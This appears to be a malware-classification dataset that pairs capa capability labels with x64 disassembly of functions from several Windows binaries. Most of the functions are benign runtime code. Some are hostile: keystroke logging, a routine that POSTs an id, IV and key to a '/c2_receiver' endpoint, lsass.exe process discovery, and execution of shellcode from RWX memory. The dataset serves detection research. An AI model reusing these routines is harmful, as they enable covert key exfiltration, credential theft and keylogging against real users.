joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d1890
Capabilities:
Register raw input devices

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x208], 0
mov rbx, rcx
je 0x1400d18e0
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x1400d18e0
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.1400f2110
xor ecx, ecx
mov qword [0x140198e48], 0
call qword [sym.imp.USER32.dll_ClipCursor]
cvttsd2si ecx, qword [0x140198e38]
mov qword [0x140198e50], 0
lea rdx, [rsp + 0x40]
cvttsd2si eax, qword [0x140198e40]
mov dword [rsp + 0x40], ecx
mov dword [rbx + 0x3a0], ecx
mov rcx, qword [rbx + 0x360]
mov dword [rsp + 0x44], eax
mov dword [rbx + 0x3a4], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, dword [rbx + 0x8c]
cmp eax, 0x34001
je 0x1400d1969
cmp eax, 0x34004
je 0x1400d1969
mov rcx, qword [0x140198e68]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x1400d1982
mov rcx, qword [rcx + 8]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]

Function at 0x1400d1cc0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, send
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, ebx
mov ecx, reloc.WS2_32.dll_select
or edi, 2
test ax, ax
cmovns edi, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
mov esi, edi
mov ecx, 0x5c
or esi, 4
test ax, ax
cmovns esi, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x5b
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, esi
mov ecx, shutdown
or edi, 8
or bx, ax
cmovns edi, esi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ebx, edi
mov ecx, 0x90
or ebx, 0x10
test al, 1
cmove ebx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov rsi, qword [rsp + 0x38]
mov ecx, ebx
or ecx, 0x20
test al, 1
cmove ecx, ebx
mov rbx, qword [rsp + 0x30]
mov eax, ecx
add rsp, 0x20
pop rdi
ret

Function at 0x1400f10d0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx + 4], eax
cmp eax, 0xffffffff
jne 0x1400f1100
lea rdx, str.Win32:_Failed_to_allocate_TLS_index
mov ecx, 0x10008
call fcn.1400ce7f0
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov dword [rbx], 1
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x1400f2220
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x140183d00]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x140198762]
mov r8d, 0x6d1
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x40]
mov qword [rsp + 0x1d0], rdi
sub r14, 0x480
lea rbp, [0x1401984e8]
xor r12d, r12d
lea r15, [0x140198802]
mov ebx, 0x20
movsx esi, word [rbp]
cmp esi, 0xffffffff
je 0x1400f23d8
cmp ebx, 0x140
jb 0x1400f233f
cmp ebx, 0x14e
ja 0x1400f233f
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x44], 0x61
mov dword [rsp + 0x48], 0x62
mov dword [rsp + 0x4c], 0x63
mov dword [rsp + 0x50], 0x64
mov dword [rsp + 0x54], 0x65
mov dword [rsp + 0x58], 0x66
mov dword [rsp + 0x5c], 0x67
mov dword [rsp + 0x60], WSAGetLastError
mov dword [rsp + 0x64], WSAGetLastError
mov dword [rsp + 0x68], WSACleanup
mov dword [rsp + 0x6c], reloc.WS2_32.dll_WSAGetLastError
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rsp + 0x74], WSACleanup
mov dword [rsp + 0x78], WSAGetLastError
mov edi, dword [r14]
jmp 0x1400f234e
mov edx, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edi, eax
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 0xffffffff
jne 0x1400f23a1
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jl 0x1400f23d8
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x80]
mov qword [rsp + 0x30], r12
mov r9d, 1
mov dword [rsp + 0x28], 5
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebx
add r15, 5
add r14, 4
add rbp, 2
cmp ebx, 0x15c
jle 0x1400f22a1
mov rdi, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.1400f0d70
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x1400f63c0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
cmp qword [0x140197fe0], 0
lea rax, str.libOSMesa.dll
lea rcx, str.OSMesa.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
je 0x1400f63f9
mov eax, 1
add rsp, 0x48
ret
mov qword [rsp + 0x40], rbx
xor ebx, ebx
mov rcx, rax
call sub.KERNEL32.dll_LoadLibraryA
mov qword [0x140197fe0], rax
mov rcx, rax
test rax, rax
jne 0x1400f6424
mov rax, qword [rsp + rbx*8 + 0x28]
inc rbx
test rax, rax
jne 0x1400f6400
mov rbx, qword [rsp + 0x40]
test rcx, rcx
jne 0x1400f6446
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.1400ce7f0
xor eax, eax
add rsp, 0x48
ret
lea rdx, str.OSMesaCreateContextExt
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140197fe0]
lea rdx, str.OSMesaCreateContextAttribs
mov qword [0x140197fe8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140197fe0]
lea rdx, str.OSMesaDestroyContext
mov qword [0x140197ff0], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140197fe0]
lea rdx, str.OSMesaMakeCurrent
mov qword [0x140197ff8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140197fe0]
lea rdx, str.OSMesaGetColorBuffer
mov qword [0x140198000], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140197fe0]
lea rdx, str.OSMesaGetDepthBuffer
mov qword [0x140198008], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x140197fe0]
lea rdx, str.OSMesaGetProcAddress
mov qword [0x140198010], rax
call sub.KERNEL32.dll_GetProcAddress
cmp qword [0x140197fe8], 0
mov qword [0x140198018], rax
je 0x1400f6530
cmp qword [0x140197ff8], 0
je 0x1400f6530
cmp qword [0x140198000], 0
je 0x1400f6530
cmp qword [0x140198008], 0
je 0x1400f6530
cmp qword [0x140198010], 0
je 0x1400f6530
test rax, rax
jne 0x1400f63ef
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.1400ce7f0
mov rcx, qword [0x140197fe0]
test rcx, rcx
je 0x1400f655d
call fcn.1400f7710
mov qword [0x140197fe0], 0
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400f6dd4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400f6e1e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400f6e1e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400f6e1e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400f6e1e
cmp dword [rcx + 0x84], 0xe
jbe 0x1400f6e1e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400f6e20
xor al, al
add rsp, 0x28
ret
Function at 0x1400010c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov eax, dword [0x140003770]
xor r12d, r12d
vmovups xmm0, xmmword [str.Content_Type:_application_json]
mov dword [rsp + 0x58], eax
mov r15, r8
movzx eax, word [0x140003774]
mov r14, rdx
mov word [rsp + 0x5c], ax
mov rbp, rcx
movzx eax, byte [0x140003776]
mov edi, r12d
vmovups xmmword [rsp + 0x40], xmm0
vmovsd xmm0, qword [0x140003768]
mov byte [rsp + 0x5e], al
mov ebx, r12d
vmovsd qword [rsp + 0x50], xmm0
mov esi, 0x41
nop dword [rax + rax]
movzx r9d, byte [rdi + rbp]
lea rcx, [rsp + 0x90]
mov rdx, rsi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
cmp rbx, 0x40
jb 0x140001140
mov byte [rsp + 0xd0], r12b
mov rbp, r12
mov rbx, r12
mov edi, 0x21
movzx r9d, byte [r14 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, rdi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rbp, [rbp + 1]
cmp rbx, 0x20
jb 0x140001183
lea rax, [rsp + 0x90]
mov byte [rsp + 0x80], r12b
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov ebx, 0xec
mov r9, r15
mov qword [rsp + 0x20], rax
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.TLD13Browser_12.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], r12
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], r12
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], r12
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r15, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r8, 0xffffffffffffffff
mov rbp, rax
lea rax, [rsp + 0xe0]
mov rcx, r8
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001283
lea rax, [rsp + 0x40]
inc r8
cmp byte [rax + r8], r12b
jne 0x140001291
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xe0]
mov rcx, rbp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x90]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400012e0
lea rax, [rsp + 0x60]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rdi, 1
jne 0x1400012f2
lea rax, [rsp + 0xe0]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001310
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140002050
add rsp, 0x1e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001670
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
xor ebx, ebx
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x20]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400016d0
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400016fb
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x1400016a0
xor eax, eax
jmp 0x140001700
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140002050
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140002944
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000298e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000298e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000298e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000298e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000298e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002990
xor al, al
add rsp, 0x28
ret
Function at 0x18000f9dc
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x260
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
call fcn.180018b10
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000fa53
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x18000fa46
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x4c]
call fcn.18001d3c0
mov rcx, rbx
test eax, eax
je 0x18000fa5e
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000fa23
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x260
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x18000fa55

Function at 0x18000fad4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x240
call fcn.18000fa6c
test eax, eax
jne 0x18000fb65
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.18000fc18
lea rcx, [0x18004f1e0]
mov rdi, rax
call fcn.18000e6e8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
mov r8, rdi
mov rcx, rax
mov rdx, rbx
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rcx, [0x18004f1e0]
call fcn.18000e6e8
call rax
lea rcx, [rsp + 0x30]
call rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xfffffffe
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.180014a9c
call fcn.18000f9dc
mov edx, eax
lea rcx, [rsp + 0x250]
call fcn.18000f99c
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.18000fd04
lea rcx, [rsp + 0x250]
call fcn.18000fbf4
lea rcx, [rsp + 0x258]
call fcn.18000f3bc
mov rcx, rax
call fcn.180014cd4
lea rcx, [rsp + 0x258]
call fcn.18000fbf4
mov rbx, qword [rsp + 0x260]
mov eax, 1
add rsp, 0x240
pop rdi
ret

Function at 0x18001ca40
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
neg rcx
test rax, 7
je 0x18001ca5d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x18001cab8
test al, 7
jne 0x18001ca50
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x18001ca71
mov rdx, qword [rax - 8]
test dl, dl
je 0x18001cae2
test dh, dh
je 0x18001cadc
shr rdx, 0x10
test dl, dl
je 0x18001cad6
test dh, dh
je 0x18001cad0
shr rdx, 0x10
test dl, dl
je 0x18001caca
test dh, dh
je 0x18001cac4
shr edx, 0x10
test dl, dl
je 0x18001cabe
test dh, dh
jne 0x18001ca71
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x18002d3cc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18002d3fc
xor eax, eax
jmp 0x18002d4bf
mov rbp, rbx
cmp word [rax], si
je 0x18002d421
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18002d408
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18002d404
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18002bab4
movsxd r14, eax
test eax, eax
jne 0x18002d45f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18002d3f5
mov rcx, r14
call fcn.18002724c
mov rdi, rax
test rax, rax
jne 0x18002d478
xor ecx, ecx
call fcn.180027210
jmp 0x18002d454
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18002bab4
test eax, eax
jne 0x18002d4a9
mov rcx, rdi
call fcn.180027210
jmp 0x18002d4b3
xor ecx, ecx
call fcn.180027210
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18002fd10
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1800255b8
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18002fdb1
cmp ebx, dword [rsp + 0x30]
je 0x18002fdaa
test esi, esi
je 0x18002fdaa
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18002fd85
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18002fd92
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18002fd6f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18002fd96
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18002fdb3
mov eax, 1
jmp 0x18002fdb3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140011262
Capabilities:
Terminate process

Disassembly:
jmp 0x140014ff0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.DLL_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011302
Capabilities:
Parse pe header

Disassembly:
jmp 0x140016340
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140016360
xor al, al
jmp 0x1400163e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140016373
xor al, al
jmp 0x1400163e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001639d
xor al, al
jmp 0x1400163e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400163b1
xor al, al
jmp 0x1400163e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400163c3
xor al, al
jmp 0x1400163e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400163df
xor al, al
jmp 0x1400163e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011f60
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x1400260ac]
call fcn.140011442
mov dword [rbp + 4], 0x1505
mov rax, qword [rbp + 0x160]
add rax, 0x2c
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
add rax, 0x208
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
cmp qword [rbp + 0x48], rax
je 0x140012005
mov rax, qword [rbp + 0x48]
movzx eax, word [rax]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0x134], eax
mov rax, qword [rbp + 0x48]
add rax, 2
mov qword [rbp + 0x48], rax
cmp dword [rbp + 0x134], 0
je 0x140011fe1
mov dword [rbp + 0x138], 1
jmp 0x140011feb
mov dword [rbp + 0x138], 0
cmp dword [rbp + 0x138], 0
je 0x140012005
mov eax, dword [rbp + 4]
shl eax, 5
add eax, dword [rbp + 4]
add eax, dword [rbp + 0x24]
mov dword [rbp + 4], eax
jmp 0x140011fa3
mov eax, dword [rbp + 4]
btr eax, 0x1f
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140003f00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140003f61
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140003f20
mov ecx, dword [r9]
jmp 0x14000404b
cmp ecx, 0x4e0
jb 0x14000404b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140003f80
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140003fd0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140004090
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x28
lea rcx, str.XPLOR_Revamp___v2.0
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._ndP____dP__________dP_______________________888888ba_________________________________________________nY8.__.8P__________88_______________________88_____8b________________________________________________n_Y8aa8P__88d888b._88_.d8888b._88d888b.____a88aaaa8P_.d8888b._dP___.dP_.d8888b._88d8b.d8b._88d888b._nd8___8b_88___88_88_88___88_88___88_____88____8b._88ooood8_88___d8_88___88_88_88_88_88___88_n88____88_88.__.88_88_88.__.88_88___________88_____88_88.__..._88_.88__88.__.88_88__88__88_88.__.88_ndP____dP_88Y888P_dP__88888P_dP___________dP_____dP__88888P_8888P____88888P8_dP__dP__dP_88Y888P_n_________88________________________________________________________________________________88_______n_________dP________________________________________________________________________________dP_______n
call fcn.1400032d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___________________________________________________________________________________________n
call fcn.1400032d0
call fcn.140002340
xor eax, eax
add rsp, 0x28
ret

Function at 0x140004ab0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004afa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004afa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004afa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004afa
cmp dword [rcx + 0x84], 0xe
jbe 0x140004afa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004afc
xor al, al
add rsp, 0x28
ret